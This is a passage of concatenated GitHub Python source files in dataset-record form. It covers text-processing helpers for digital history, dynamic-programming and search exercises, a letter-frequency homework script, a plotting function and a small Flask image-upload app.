'ever']\r\nstopwords += ['every', 'everyone', 'everything', 'everywhere', 'except']\r\nstopwords += ['few', 'fifteen', 'fifty', 'fill', 'find', 'fire', 'first']\r\nstopwords += ['five', 'for', 'former', 'formerly', 'forty', 'found']\r\nstopwords += ['four', 'from', 'front', 'full', 'further', 'get', 'give']\r\nstopwords += ['go', 'had', 'has', 'hasnt', 'have', 'he', 'hence', 'her']\r\nstopwords += ['here', 'hereafter', 'hereby', 'herein', 'hereupon', 'hers']\r\nstopwords += ['herself', 'him', 'himself', 'his', 'how', 'however']\r\nstopwords += ['hundred', 'i', 'ie', 'if', 'in', 'inc', 'indeed']\r\nstopwords += ['interest', 'into', 'is', 'it', 'its', 'itself', 'keep']\r\nstopwords += ['last', 'latter', 'latterly', 'least', 'less', 'ltd', 'made']\r\nstopwords += ['many', 'may', 'me', 'meanwhile', 'might', 'mill', 'mine']\r\nstopwords += ['more', 'moreover', 'most', 'mostly', 'move', 'much']\r\nstopwords += ['must', 'my', 'myself', 'name', 'namely', 'neither', 'never']\r\nstopwords += ['nevertheless', 'next', 'nine', 'no', 'nobody', 'none']\r\nstopwords += ['noone', 'nor', 'not', 'nothing', 'now', 'nowhere', 'of']\r\nstopwords += ['off', 'often', 'on','once', 'one', 'only', 'onto', 'or']\r\nstopwords += ['other', 'others', 'otherwise', 'our', 'ours', 'ourselves']\r\nstopwords += ['out', 'over', 'own', 'part', 'per', 'perhaps', 'please']\r\nstopwords += ['put', 'rather', 're', 's', 'same', 'see', 'seem', 'seemed']\r\nstopwords += ['seeming', 'seems', 'serious', 'several', 'she', 'should']\r\nstopwords += ['show', 'side', 'since', 'sincere', 'six', 'sixty', 'so']\r\nstopwords += ['some', 'somehow', 'someone', 'something', 'sometime']\r\nstopwords += ['sometimes', 'somewhere', 'still', 'such', 'system', 'take']\r\nstopwords += ['ten', 'than', 'that', 'the', 'their', 'them', 'themselves']\r\nstopwords += ['then', 'thence', 'there', 'thereafter', 'thereby']\r\nstopwords += ['therefore', 'therein', 'thereupon', 'these', 'they']\r\nstopwords += ['thick', 'thin', 'third', 'this', 'those', 'though', 'three']\r\nstopwords += ['three', 'through', 'throughout', 'thru', 'thus', 'to']\r\nstopwords += ['together', 'too', 'top', 'toward', 'towards', 'twelve']\r\nstopwords += ['twenty', 'two', 'un', 'under', 'until', 'up', 'upon']\r\nstopwords += ['us', 'very', 'via', 'was', 'we', 'well', 'were', 'what']\r\nstopwords += ['whatever', 'when', 'whence', 'whenever', 'where']\r\nstopwords += ['whereafter', 'whereas', 'whereby', 'wherein', 'whereupon']\r\nstopwords += ['wherever', 'whether', 'which', 'while', 'whither', 'who']\r\nstopwords += ['whoever', 'whole', 'whom', 'whose', 'why', 'will', 'with']\r\nstopwords += ['within', 'without', 'would', 'yet', 'you', 'your']\r\nstopwords += ['yours', 'yourself', 'yourselves']\r\n\r\n# Given a string containing French accented characters\r\n# in Unicode or HTML, return normalized lowercase.\r\n\r\ndef normalizeFrenchAccents(str):\r\n newstr = unicode(str, 'utf-8').encode('latin-1', 'replace')\r\n newstr = newstr.lower()\r\n newstr = newstr.replace('’', '\\'')\r\n newstr = newstr.replace('\\xc0', '\\xe0') # a grave \r\n newstr = newstr.replace('à', '\\xe0') # a grave \r\n newstr = newstr.replace('\\xc2', '\\xe2') # a circumflex\r\n newstr = newstr.replace('â', '\\xe2') # a circumflex\r\n newstr = newstr.replace('\\xc4', '\\xe4') # a diaeresis\r\n newstr = newstr.replace('ä', '\\xe4') # a diaeresis\r\n newstr = newstr.replace('\\xc6', '\\xe6') # ae ligature\r\n newstr = newstr.replace('æ', '\\xe6') # ae ligature\r\n newstr = newstr.replace('\\xc8', '\\xe8') # e grave\r\n newstr = newstr.replace('è', '\\xe8') # e grave\r\n newstr = newstr.replace('\\xc9', '\\xe9') # e acute\r\n newstr = newstr.replace('é', '\\xe9') # e acute\r\n newstr = newstr.replace('\\xca', '\\xea') # e circumflex\r\n newstr = newstr.replace('ê', '\\xea') # e circumflex\r\n newstr = newstr.replace('\\xcb', '\\xeb') # e diaeresis\r\n newstr = newstr.replace('ë', '\\xeb') # e diaeresis\r\n newstr = newstr.replace('\\xce', '\\xee') # i circumflex\r\n newstr = newstr.replace('î', '\\xee') # i circumflex\r\n newstr = newstr.replace('\\xcf', '\\xef') # i diaeresis\r\n newstr = newstr.replace('ï', '\\xef') # i diaeresis\r\n newstr = newstr.replace('\\xd4', '\\xf4') # o circumflex\r\n newstr = newstr.replace('ô', '\\xf4') # o circumflex\r\n newstr = newstr.replace('œ', 'oe') # oe ligature\r\n newstr = newstr.replace('\\xd9', '\\xf9') # u grave\r\n newstr = newstr.replace('ù', '\\xf9') # u grave\r\n newstr = newstr.replace('\\xdb', '\\xfb') # u circumflex \r\n newstr = newstr.replace('û', '\\xfb') # u circumflex \r\n newstr = newstr.replace('\\xdc', '\\xfc') # u diaeresis\r\n newstr = newstr.replace('ü', '\\xfc') # u diaeresis\r\n newstr = newstr.replace('\\xc7', '\\xe7') # c cedilla\r\n newstr = newstr.replace('ç', '\\xe7') # c cedilla\r\n newstr = newstr.replace('ÿ', '\\xff') # y diaeresis\r\n return newstr\r\n\r\n# Given a string containing HTML, remove all characters\r\n# between matching pairs of angled brackets, inclusive.\r\n\r\ndef stripTags(html):\r\n inside = 0\r\n text = ''\r\n for char in html:\r\n if char == '<':\r\n inside = 1\r\n continue\r\n elif (inside == 1 and char == '>'):\r\n inside = 0\r\n continue\r\n elif inside == 1:\r\n continue\r\n else:\r\n text += char\r\n return text\r\n\r\n# Given a text string, remove all non-alphanumeric\r\n# characters (using Unicode definition of alphanumeric).\r\n\r\ndef stripNonAlphaNum(text):\r\n import re\r\n return re.compile(r'\\W+', re.UNICODE).split(text)\r\n\r\n# Given a URL, return string of lowercase text from page.\r\n\r\ndef webPageToText(url):\r\n import urllib2\r\n response = urllib2.urlopen(url)\r\n html = response.read()\r\n text = stripTags(html).replace(' ', ' ')\r\n return text.lower()\r\n\r\n# Given a list of words, remove any that are\r\n# in a list of stop words.\r\n\r\ndef removeStopwords(wordlist, stopwords):\r\n return [w for w in wordlist if w not in stopwords]\r\n\r\n# Given a list of words, return a dictionary of\r\n# word-frequency pairs.\r\n\r\ndef wordListToFreqDict(wordlist):\r\n wordfreq = [wordlist.count(p) for p in wordlist]\r\n return dict(zip(wordlist,wordfreq))\r\n\r\n# Sort a dictionary of word-frequency pairs in\r\n# order of descending frequency.\r\n\r\ndef sortFreqDict(freqdict):\r\n aux = [(freqdict[key], key) for key in freqdict]\r\n aux.sort()\r\n aux.reverse()\r\n return aux\r\n\r\n# Given a dictionary of frequency-word pairs sorted\r\n# in order of descending frequency, re-sort so it is\r\n# in alphabetical order by word.\r\n\r\ndef reSortFreqDictAlpha(sorteddict):\r\n import operator\r\n aux = [pair for pair in sorteddict]\r\n aux.sort(key=operator.itemgetter(1))\r\n return aux\r\n\r\n# Given name of calling program, a url and a string to wrap,\r\n# output string in HTML body with basic metadata\r\n# and open in Firefox tab.\r\n\r\ndef wrapStringInHTML(program, url, body):\r\n import datetime\r\n # from webbrowser import open_new_tab\r\n now = datetime.datetime.today().strftime(\"%Y%m%d-%H%M%S\")\r\n filename = program + '.html'\r\n f = open(filename,'w')\r\n wrapper = \"\"\"\r\n \r\n %s output - %s\r\n \r\n

    URL: %s

    %s

    \r\n \"\"\"\r\n whole = wrapper % (program, now, url, url, body)\r\n f.write(whole)\r\n f.close() \r\n # open_new_tab(filename)\r\n\r\n# Given a list of keywords and a link name, return an\r\n# HTML link to a Google search for those terms.\r\n\r\ndef keywordListToGoogleSearchLink(keywords, linkname):\r\n url = 'http://www.google.com/search?q='\r\n url += '+'.join(keywords)\r\n gsearch = undecoratedHyperlink(url, linkname)\r\n return gsearch\r\n \r\n# Given a url and link name, return a string containing\r\n# HTML and inline CSS for an undecorated hyperlink.\r\n\r\ndef undecoratedHyperlink(url, linkname):\r\n astr = \"\"\"%s\r\n \"\"\"\r\n return astr % (url, linkname)\r\n\r\n# Given a list of words and a number n, return a list\r\n# of n-grams.\r\n\r\ndef getNGrams(wordlist, n):\r\n return [wordlist[i:i+n] for i in range(len(wordlist)-(n-1))]\r\n\r\n# Given a list of n-grams, return a dictionary of KWICs,\r\n# indexed by keyword.\r\n\r\ndef nGramsToKWICDict(ngrams):\r\n kwicdict = {}\r\n keyindex = len(ngrams[0]) // 2\r\n for k in ngrams:\r\n if k[keyindex] not in kwicdict:\r\n kwicdict[k[keyindex]] = [k]\r\n else:\r\n kwicdict[k[keyindex]].append(k)\r\n return kwicdict\r\n\r\n# Given a KWIC, return a string that is formatted for\r\n# pretty printing.\r\n\r\ndef prettyPrintKWIC(kwic):\r\n n = len(kwic)\r\n keyindex = n // 2\r\n width = 10\r\n outstring = ' '.join(kwic[:keyindex]).rjust(width*keyindex)\r\n outstring += str(kwic[keyindex]).center(len(kwic[keyindex])+6)\r\n outstring += ' '.join(kwic[(keyindex+1):])\r\n return outstring\r\n \r\n# Given the body of a div and an optional string of\r\n# property-value pairs, return string containing HTML\r\n# and inline CSS for default div.\r\n\r\ndef defaultCSSDiv(divbody, opt=''):\r\n divstr = \"\"\"
    %s
    \r\n \"\"\"\r\n return divstr % (opt, divbody)\r\n\r\n# Given the body of a span and a scaling factor, return\r\n# string containing HTML span with scaled font size.\r\n\r\ndef scaledFontSizeSpan(body, scalingfactor):\r\n import math\r\n minfont = 24\r\n maxfont = 54\r\n fontrange = maxfont - minfont\r\n fontsize = int(minfont + math.floor(fontrange * scalingfactor))\r\n spanstr = '%s'\r\n return spanstr % (str(fontsize), body)\r\n\r\n# Given the body of a span and a scaling factor, return\r\n# string containing HTML span with scaled font size and\r\n# darkness of greyscale adjusted.\r\n\r\ndef scaledFontShadeSpan(body, scalingfactor):\r\n import math\r\n minfont = 24\r\n maxfont = 54\r\n fontrange = maxfont - minfont\r\n fontsize = int(minfont + math.floor(fontrange * scalingfactor))\r\n fontcolor = int(200 - math.ceil(200 * scalingfactor))\r\n spanstr = \"\"\"%s\r\n \"\"\"\r\n return spanstr % (str(fontsize), fontcolor, fontcolor, fontcolor, body)\r\n\r\n# Given the body of a span and a scaling factor, return\r\n# string containing HTML span with scaled font size and\r\n# shading from cool blue to hot red.\r\n\r\ndef scaledFontHeatmapSpan(body, scalingfactor):\r\n import math\r\n minfont = 24\r\n maxfont = 54\r\n fontrange = maxfont - minfont\r\n fontsize = int(minfont + math.floor(fontrange * scalingfactor))\r\n fontcolor = int(250 - math.ceil(250 * scalingfactor))\r\n spanstr = \"\"\"%s\r\n \"\"\"\r\n return spanstr % (str(fontsize), 250-fontcolor, fontcolor, body)\r\n\r\n# Given a string containing the name of a directory\r\n# return a list of files in that directory\r\n\r\ndef getFileNames(dirname):\r\n import os\r\n dircommand = 'dir ' + dirname + ' /B'\r\n filelist = os.popen(dircommand).readlines()\r\n filelist = [x.rstrip() for x in filelist]\r\n return filelist\r\n\r\n# Given a local copy of a webpage, return string\r\n# of lowercase text from page.\r\n\r\ndef localWebPageToText(webpage): \r\n f = open(webpage, 'r')\r\n html = f.read()\r\n f.close()\r\n text = stripTags(html).replace(' ', ' ')\r\n return text.lower()\r\n\r\n# Given a list of words, replace any that are\r\n# stop words with a placeholder.\r\n\r\ndef replaceStopwords(wordlist, stopwords, placeholder = '#'):\r\n replacefunction = (lambda x: placeholder if x in stopwords else x)\r\n return map(replacefunction, wordlist)\r\n","repo_name":"williamjturkel/Programming-Historian-version-1","sub_path":"dh.py","file_name":"dh.py","file_ext":"py","file_size_in_byte":14075,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"24"} +{"seq_id":"36916425155","text":"'''\r\nFinding the largest square submatrix that consists the ones only\r\n'''\r\n\r\n\r\ndef subMatrixOf1(mat):\r\n '''\r\n Dynamic algorithm: for finding the biggest k*k matrix of '1'\r\n First Method: using one help matrix,\r\n where help[i,j] is the size of a square submatrix consisting of ones,\r\n whose lower right corner of the submatrix is the cell with coordinates [i,j].\r\n Complexity: O(m*n)\r\n :param mat: matrix filled with 0,1\r\n :return: print the size of a square submatrix consisting of ones and the coordinates of a cell in the lower right corner of this submatrix\r\n '''\r\n # h - help matrix:\r\n h = [[0 for i in range(0, len(mat[0]))] for j in range(0, len(mat))]\r\n max_dim, i_max, j_max = 0, 0, 0\r\n # copy first row from mat:\r\n for j in range(len(mat[0])):\r\n if mat[0][j] == 1:\r\n max_dim = 1\r\n i_max = 0\r\n j_max = j\r\n h[0][j] = mat[0][j]\r\n\r\n # copy first column from mat:\r\n for i in range(len(mat)):\r\n if mat[i][0] == 1:\r\n max_dim = 1\r\n i_max = 0\r\n j_max = i\r\n h[i][0] = mat[i][0]\r\n\r\n for i in range(1, len(mat)):\r\n for j in range(1, len(mat[0])):\r\n if mat[i][j] != 0:\r\n h[i][j] = min3(h[i - 1][j - 1], h[i - 1][j], h[i][j - 1]) + 1\r\n if h[i][j] > max_dim:\r\n max_dim = h[i][j]\r\n i_max = i\r\n j_max = j\r\n\r\n print(\"Dynamic algorithm by using one help matrix:\\nMatrix:\")\r\n for row in mat:\r\n print(row)\r\n print(\"\\nHelp Matrix:\", )\r\n for row in h:\r\n print(row)\r\n print(\"max_dim:\", max_dim, \", i_max:\", i_max, \", j_max:\", j_max)\r\n\r\n\r\ndef min3(a, b, c):\r\n min = a\r\n if min > b:\r\n min = b\r\n if min > c:\r\n min = c\r\n return min\r\n\r\n\r\ndef subMatrixOf1_3Matrices(mat):\r\n '''\r\n Dynamic algorithm: for finding the biggest k*k matrix of '1'\r\n Second Method: using 3 help matrices:\r\n a first matrix represents the size of the ones sequence by rows,\r\n a second matrix represents the size of the ones sequence by columns,\r\n a third matrix represents the size of the ones square in each cell\r\n whose lower right corner of the submatrix is the cell with coordinates [i,j].\r\n Complexity: O(m*n)\r\n :param mat: matrix filled with 0,1\r\n :return: print the size of a square submatrix consisting of ones and the coordinates of a cell in the lower right corner of this submatrix\r\n '''\r\n rows, cols = len(mat), len(mat[0])\r\n max_dim, i_max, j_max = 0, 0, 0\r\n x = [[0 for i in range(cols)] for j in range(rows)]\r\n y = [[0 for i in range(cols)] for j in range(rows)]\r\n z = [[0 for i in range(cols)] for j in range(rows)]\r\n # fill first column of 3 matrix:\r\n for i in range(rows):\r\n x[i][0] = mat[i][0]\r\n y[i][0] = mat[i][0]\r\n z[i][0] = mat[i][0]\r\n # fill first row of 3 matrix:\r\n for j in range(cols):\r\n x[0][j] = mat[0][j]\r\n y[0][j] = mat[0][j]\r\n z[0][j] = mat[0][j]\r\n # fill 'rows' matrix:\r\n for i in range(1, rows):\r\n for j in range(1, cols):\r\n if mat[i][j] == 1:\r\n x[i][j] = x[i][j - 1] + 1\r\n # fill 'columns' matrix:\r\n for j in range(1, cols):\r\n for i in range(1, rows):\r\n if mat[i][j] == 1:\r\n y[i][j] = y[i - 1][j] + 1\r\n # fill 'answers' matrix:\r\n for i in range(1, rows):\r\n for j in range(1, cols):\r\n if mat[i][j] == 1:\r\n z[i][j] = min3(z[i - 1][j - 1] + 1, x[i][j], y[i][j])\r\n if z[i][j] > max_dim:\r\n max_dim = z[i][j]\r\n i_max = i\r\n j_max = j\r\n print(\"Dynamic algorithm by using three help matrices:\\nMatrix:\")\r\n for row in mat:\r\n print(row)\r\n print(\"\\nMatrix x:\", )\r\n for row in x:\r\n print(row)\r\n print(\"\\nMatrix y:\", )\r\n for row in y:\r\n print(row)\r\n print(\"\\nMatrix z:\", )\r\n for row in z:\r\n print(row)\r\n print(\"max_dim:\", max_dim, \", i_max:\", i_max, \", j_max:\", j_max)\r\n\r\n\r\n###################################################################################\r\nmat = [[1, 1, 0, 0, 1, 0], [0, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 0], [0, 0, 1, 1, 0, 0]]\r\nsubMatrixOf1(mat)\r\nsubMatrixOf1_3Matrices(mat)\r\nmat1 = [[0, 0, 0, 1, 0], [0, 1, 1, 1, 0], [0, 1, 1, 1, 0], [0, 1, 1, 1, 0], [0, 1, 1, 1, 0], [0, 1, 0, 1, 1]]\r\nsubMatrixOf1(mat1)\r\nsubMatrixOf1_3Matrices(mat1)\r\nmat2 = [[0, 0, 1, 0, 0], [1, 1, 1, 1, 0], [0, 1, 1, 1, 1], [1, 1, 1, 1, 0], [1, 1, 0, 0, 1]]\r\nsubMatrixOf1(mat2)\r\nsubMatrixOf1_3Matrices(mat2)\r\n","repo_name":"danieladina/Dynamic_planning_algorithm","sub_path":"SubMatrixOf_1.py","file_name":"SubMatrixOf_1.py","file_ext":"py","file_size_in_byte":4628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"2496449553","text":"\nactual_position = dict()\nactual_score = dict()\npredicted_score = dict()\npredicted_position = dict()\n\nwith open('club_true_standings.txt', 'r') as standings_file:\n for line in standings_file:\n position, club_name, pts, _ = line.split()\n actual_position[club_name] = int(position)\n actual_score[club_name] = int(pts)\n\nwith open('predicted_scores.txt', 'r') as predictions_file:\n predict_standings = []\n for line in predictions_file:\n club_name, pts = line.split()\n predicted_score[club_name] = float(pts)\n predict_standings.append((pts, club_name))\n predict_standings = sorted(predict_standings, key=lambda x: x[0])\n predict_standings.reverse()\n for i in range(len(predict_standings)):\n predicted_position[predict_standings[i][1]] = i + 1\n\nsum_of_score_diff = 0\nquadratic_sum_of_score_diff = 0\nsum_of_position_diff = 0\nquadratic_sum_of_position_diff = 0\n\nfor club_name in actual_score.keys():\n sum_of_score_diff += abs(actual_score[club_name] - predicted_score[club_name])\n quadratic_sum_of_score_diff += abs(actual_score[club_name] - predicted_score[club_name]) ** 2\n sum_of_position_diff += abs(predicted_position[club_name] - actual_position[club_name])\n quadratic_sum_of_position_diff += abs(predicted_position[club_name] - actual_position[club_name]) ** 2\n\nprint(\"SUM OF SCORE DIFFIRENCE: {} AVERAGE SCORE DIFFERENCE: {}\".format(sum_of_score_diff, sum_of_score_diff / 20))\nprint(\"QUADRATIC SUM OF SCORE DIFFIRENCE: {} AVERAGE QUADRATIC SUM OF SCORE DIFFIRENCE: {}\".format(quadratic_sum_of_score_diff, quadratic_sum_of_score_diff / 20))\nprint(\"SUM OF POSITION DIFFIRENCE: {} AVERAGE POSITION DIFFERENCE: {}\".format(sum_of_position_diff, sum_of_position_diff / 20))\nprint(\"QUADRATIC SUM OF POSITION DIFFIRENCE: {} AVERAGE QUADRATIC SUM OF POSITION DIFFIRENCE: {}\".format(quadratic_sum_of_position_diff, quadratic_sum_of_position_diff / 20))\n","repo_name":"shaihitdin/optimistic-prediction","sub_path":"stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":1922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"22456125720","text":"\nimport win32api\n\n\n\n\n#get Windows screen size\nWINDOWS_SIZE = (win32api.GetSystemMetrics(0),win32api.GetSystemMetrics(1))\n\nSERVER_IP = \"127.0.0.1\"\nSERVER_PORT = 8080\n\n#注册状态码 01\nSIGN_UP_STATE = \"01\"\n#登陆状态码 02 020 密码错误 021 账号错误\nSIGN_IN_STATE = \"02\"\n#添加好友状态码 03 成功返回03,失败返回030\nINSERT_FRIEND_STATE = \"03\"\n#聊天状态码 04 成功返回 04, 失败返回 040\nCHAT_STATE = \"04\"\n#删除好友状态码 05 成功返回05 , 失败返回050\nDEL_FRIEND_STATE = \"05\"\n\n","repo_name":"Tjuvenile/chat_room","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"5053412819","text":"# @File: Cipher.py\n# @Author: Robert Randolph\n# @Class: COSC 5010-01\n# @Assignment: Homework 05 Part 1\n# @Due: September 27, 2020\n# @Description:\n# Asks the user to insert a string\n# After sanatizing the string, it computes letter frequency of the given string.\n# After which it compares the letter frequency to the letter frequency of the english alphabet\n# It outputs any mismatch in frequency > 5%\n# @Asuumption: Output freqency is a literal differance of 5, not an actual 5% differance.\n# Example: A:8.12% and A:3.11% (These are seperated by 5.01 > 5 | so (A) is printed) - Not using 5% error/differance/space between them. Just calculating differance.\n\n# Imports\nimport re # Sanatizing string using regular expressions\nimport string\n\n# CONSTANTS\nLETTERS = list(string.ascii_lowercase)\nFREQUENCY = [8.12,1.49,2.71,4.32,12.02, # Letter Frequencyies found here: http://pi.math.cornell.edu/~mec/2003-2004/cryptography/subs/frequencies.html\n 2.3,2.03,5.92,7.31,0.1,\n 0.69,3.98,2.61,6.95,7.68,\n 1.82,0.11,6.02,6.28,9.1,\n 2.88,1.11,2.09,0.17,2.11,\n 0.07]\n\n# Driver\ndef main():\n # Init\n letters = dict() # Number of letters in string\n\n # Setting count to 0\n for l in LETTERS:\n letters[l] = 0\n\n # Asking for user to input a string\n value = input('Enter a large string of letters:\\n')\n\n # Sanitising string - and converting to lower case\n value = re.sub('[^A-Za-z]*', '', value)\n value = value.lower()\n\n # Counting letters\n for c in value:\n letters[c] += 1 # Incrimenting total number of specific letter\n\n # Calculating letter frequency in string\n n = len(value) # Total number of letters\n for l in letters:\n c = letters[l]\n letters[l] = c/n * 100 # Frequency\n\n # Comparing frequencies\n print('Missmatching frequencies over 5%:')\n index = 0\n missmatched = False\n for l in letters:\n # Getting frequencies\n F1 = letters[l]\n F2 = FREQUENCY[index]\n\n # Comparing\n r = abs(F1 - F2)\n\n # Checking if differance is over 5%\n if r > 5:\n missmatched = True\n print('Letter:',l,'| Calculated:',round(F1,4),'| Origional:',round(F2,4),'| Differance:',round(r,4))\n\n index += 1\n \n # Checking if any mismatches were found\n if not missmatched:\n print('No missmatching frequencies over 5%:')\n\n# Starting driver\nif __name__ == '__main__': main()","repo_name":"Wolf-Sensei/COSC5010_ComputerSecurity_Homework05_Part1","sub_path":"Cipher.py","file_name":"Cipher.py","file_ext":"py","file_size_in_byte":2463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"74748918142","text":"import os\nimport torch\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\n\ndef Koopman_Eigenvalue(\n real_parts : torch.tensor,\n imaginary_parts : torch.tensor,\n magnitudes : torch.tensor,\n _index : int = 256,\n DPI : int = 400,\n save_image : bool= None,\n neural_net_name : str= None,\n dataset_parameters : str= None,\n save_dir : str = os.path.join('utils','Plot','Koopman_Eigenvalues')\n )->None:\n \n real_parts_cpu = real_parts.cpu().numpy()\n imaginary_parts_cpu = imaginary_parts.cpu().numpy()\n magnitudes_cpu = magnitudes.cpu().numpy()\n \n fig , ax = plt.subplots(1,figsize=(15,10) , dpi=DPI)\n \n sc = ax.scatter(real_parts_cpu[:_index], imaginary_parts_cpu[:_index], c=magnitudes_cpu[:_index], cmap='viridis', marker='o')\n plt.colorbar(sc, label=\"Magnitude\")\n \n ax.hlines(y=0,xmin=real_parts_cpu.min() ,xmax=real_parts_cpu.max() , color='black', linestyle='dashed')\n ax.vlines(x=0,ymin=imaginary_parts_cpu.min(),ymax=imaginary_parts_cpu.max() , color='black', linestyle='dashed')\n ax.set_xlabel('Real part ($\\mu$)')\n ax.set_ylabel('Imaginary part ($\\mu$)')\n ax.set_title(f\"neural net = {neural_net_name} dataset parameters ={dataset_parameters} index={_index}\")\n plt.grid(True)\n \n if save_image:\n plt.savefig(os.path.join(save_dir,f\"neural net = {neural_net_name} dataset parameters ={dataset_parameters} index={_index}.png\"), bbox_inches='tight')\n \n \n plt.show()","repo_name":"yriyazi/Koopman-Operator-and-Deep-Neural-Networks-ISAV2023","sub_path":"Utils/Plot/Koopman_Eigenvalue.py","file_name":"Koopman_Eigenvalue.py","file_ext":"py","file_size_in_byte":1804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"41413817509","text":"def linear_search(arr, target):\n for i in range(len(arr)):\n if (arr[i] == target):\n return i\n\n return -1 # not found\n\n\n# Write an iterative implementation of Binary Search\ndef binary_search(arr, target):\n start = 0\n end = len(arr) - 1\n\n while start <= end:\n mid = round((start + end) // 2)\n if arr[mid] == target:\n return mid\n else:\n if arr[mid] > target:\n end = mid - 1\n else:\n start = mid + 1\n\n\n\n return -1 # not found\n","repo_name":"brennuck/Iterative-Sorting","sub_path":"src/searching/searching.py","file_name":"searching.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"20270261400","text":"def open_file(path):\n with open(path, 'r') as fin:\n return fin.readlines()\n\n\ndef make_list_from_string(string, separator=False, integer=False):\n result = []\n if separator:\n result = string.split(separator)\n else:\n result = string.split(' ')\n if integer:\n return [int(i) for i in result]\n else:\n return result\n\ndef remove_new_line_from_list_items(list_w_items):\n cleaned_list = []\n for i in list_w_items:\n cleaned_list.append(i.strip('\\n'))\n return cleaned_list\n","repo_name":"SickanEkman/Advent-of-code","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"8368961741","text":"n = int(input(\"請輸入查詢組數\"))\nlistinput = []\nlist1 = [\"123\",\"456\",\"789\",\"336\",\"775\",\"566\"]\nlist2 = [\"456\",\"789\",\"888\",\"558\",\"666\",\"221\"]\nlist3 = [9000,5000,6000,10000,12000,7000]\nfor i in range(0,n):\n listinput.append(input(\"帳號 密碼\").split(\" \"))\nfor k in range(0,n):\n if listinput[k][0] in list1 and listinput[k][1] in list2:\n for j in range(len(list1)):\n if listinput[k][0] == list1[j] and listinput[k][1] == list2[j]:\n print(list3[j])\n else:\n print(\"error\")","repo_name":"C110156224/python-homework","sub_path":"22.py","file_name":"22.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"21545950862","text":"# 프로그래머스 코딩테스트 연습 > 2021 Dev Matching 상반기 > 행렬 테두리 회전하기\n# https://programmers.co.kr/learn/courses/30/lessons/77485\n\ndef solution(rows, columns, queries):\n answer = []\n board = [[(i+1) + ((j) * columns) for i in range(columns)] for j in range(rows)]\n \n for i in range(len(queries)):\n x1, y1, x2, y2 = queries[i][0] - 1, queries[i][1] - 1, queries[i][2] - 1, queries[i][3] - 1\n rotateList = []\n # x1 ~ x2 : 세로\n # y1 ~ y2 : 가로\n rotateList.insert(0)\n temp = board[x1][y1]\n for j in range(x1, x2):\n board[j][y1] = board[j+1][y1]\n rotateList.append(board[j+1][y1])\n \n for j in range(y1, y2):\n board[x2][j] = board[x2][j+1]\n rotateList.append(board[x2][j+1])\n \n for j in range(x2, x1, -1):\n board[j][y2] = board[j-1][y2]\n rotateList.append(board[j-1][y2])\n \n for j in range(y2, y1 + 1, -1):\n board[x1][j] = board[x1][j-1]\n rotateList.append(board[x1][j-1])\n \n board[x1][y1+1] = temp\n rotateList.append(temp)\n answer.append(min(rotateList))\n \n return answer\n\nprint(solution(6,6,[[2,2,5,4],[3,3,6,6],[5,1,6,3]]))\nprint(solution(3,3,[[1,1,2,2],[1,2,2,3],[2,1,3,2],[2,2,3,3]]))\nprint(solution(100,97,[[1,1,100,97]]))\nprint(solution(20,10,[[2,2,3,3],[3,3,4,10],[1,1,20,10]]))","repo_name":"jungyoonoh/AlgorithmPractice","sub_path":"Python/Programmers/Dev-Matching/행렬_테두리_회전하기.py","file_name":"행렬_테두리_회전하기.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"39763548237","text":"\"\"\"\r\n\r\nWerkzeug provides a bunch of utilities for developing WSGI-compliant applications. \r\nThese utilities do things like parsing headers, sending and receiving cookies, \r\nproviding access to form data, generating redirects, generating error pages when \r\nthere's an exception, even providing an interactive debugger that runs in the browser. \r\nFlask then builds upon this foundation to provide a complete web framework.\r\n\"\"\"\r\n\r\nfrom flask import Flask, render_template, request, redirect, flash\r\nfrom werkzeug.utils import secure_filename\r\nfrom main import getPrediction\r\nimport os\r\n\r\n#Save images to the 'static' folder as Flask serves images from this directory\r\nUPLOAD_FOLDER = 'static/images/'\r\n\r\n\r\napp = Flask(__name__, static_folder=\"static\")\r\n\r\napp.secret_key = \"secret key\"\r\n\r\n#Define the upload folder to save images uploaded by the user. \r\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\r\n\r\n@app.route('/')\r\ndef index():\r\n return render_template('index.html')\r\n\r\n#Add Post method to the decorator to allow for form submission. \r\n@app.route('/', methods=['POST'])\r\ndef submit_file():\r\n if request.method == 'POST':\r\n if 'file' not in request.files:\r\n flash('No file part')\r\n return redirect(request.url)\r\n file = request.files['file']\r\n \r\n if file.filename == '':\r\n flash('No file selected for uploading')\r\n return redirect(request.url)\r\n if file:\r\n filename = secure_filename(file.filename) #Use this werkzeug method to secure filename. \r\n file.save(os.path.join(app.config['UPLOAD_FOLDER'],filename))\r\n label = getPrediction(filename)\r\n flash(label)\r\n full_filename = os.path.join(app.config['UPLOAD_FOLDER'], filename)\r\n flash(full_filename)\r\n return redirect('/')\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app.run()","repo_name":"nambeuch/image-spam-catcher","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"1674221364","text":"from FreeTAKServer.core.configuration.MainConfig import MainConfig\n\n# Make a connection to the MainConfig object for all routines below\nconfig = MainConfig.instance()\n\nclass SSLCoTServiceVariables:\n def __init__(self):\n self.SSLCoTServiceIP = 